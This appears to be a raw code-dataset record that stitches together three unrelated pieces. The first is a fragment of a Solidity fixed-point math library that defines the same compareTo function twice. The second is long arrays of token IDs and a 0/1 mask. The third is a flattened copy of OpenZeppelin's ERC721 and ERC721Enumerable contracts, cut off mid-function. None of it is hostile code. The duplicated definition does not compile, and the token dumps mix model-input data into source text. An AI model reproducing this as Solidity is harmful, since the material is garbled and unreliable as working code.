function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
}
| 3,449,771 |
[
1,
5749,
225,
302,
61,
72,
60,
18694,
716,
11164,
279,
5499,
17,
1153,
1300,
598,
6549,
6970,
12576,
18,
19,
422,
1432,
631,
5245,
422,
1432,
631,
422,
1432,
631,
7362,
87,
422,
1432,
631,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
12083,
11322,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
203,
565,
2254,
5034,
5381,
10250,
273,
1728,
636,
2643,
31,
203,
203,
203,
203,
203,
565,
320,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
5161,
203,
203,
565,
1958,
463,
5034,
288,
203,
3639,
2254,
5034,
460,
31,
203,
565,
289,
203,
203,
203,
565,
445,
3634,
1435,
203,
565,
2713,
203,
565,
16618,
203,
565,
1135,
261,
40,
5034,
3778,
13,
203,
565,
288,
203,
565,
289,
203,
203,
3639,
327,
463,
5034,
12590,
460,
30,
374,
15549,
203,
565,
445,
1245,
1435,
203,
565,
2713,
203,
565,
16618,
203,
565,
1135,
261,
40,
5034,
3778,
13,
203,
565,
288,
203,
565,
289,
203,
203,
3639,
327,
463,
5034,
12590,
460,
30,
10250,
15549,
203,
565,
445,
628,
12,
203,
3639,
2254,
5034,
279,
203,
565,
262,
203,
565,
2713,
203,
565,
16618,
203,
565,
1135,
261,
40,
5034,
3778,
13,
203,
565,
288,
203,
565,
289,
203,
203,
3639,
327,
463,
5034,
12590,
460,
30,
279,
18,
16411,
12,
8369,
13,
15549,
203,
565,
445,
7169,
12,
203,
3639,
2254,
5034,
279,
16,
203,
3639,
2254,
5034,
324,
203,
565,
262,
203,
565,
2713,
203,
565,
16618,
203,
565,
1135,
261,
40,
5034,
3778,
2
] |
// Dependency file: @openzeppelin/contracts/utils/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Dependency file: @openzeppelin/contracts/token/ERC721/IERC721.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// Dependency file: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// Dependency file: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// Dependency file: @openzeppelin/contracts/utils/Address.sol
// pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Dependency file: @openzeppelin/contracts/utils/Context.sol
// pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: @openzeppelin/contracts/utils/Strings.sol
// pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// Dependency file: @openzeppelin/contracts/utils/introspection/ERC165.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// Dependency file: @openzeppelin/contracts/token/ERC721/ERC721.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
// import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
// import "@openzeppelin/contracts/utils/Address.sol";
// import "@openzeppelin/contracts/utils/Context.sol";
// import "@openzeppelin/contracts/utils/Strings.sol";
// import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// Dependency file: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// Dependency file: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// pragma solidity ^0.8.0;
// import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
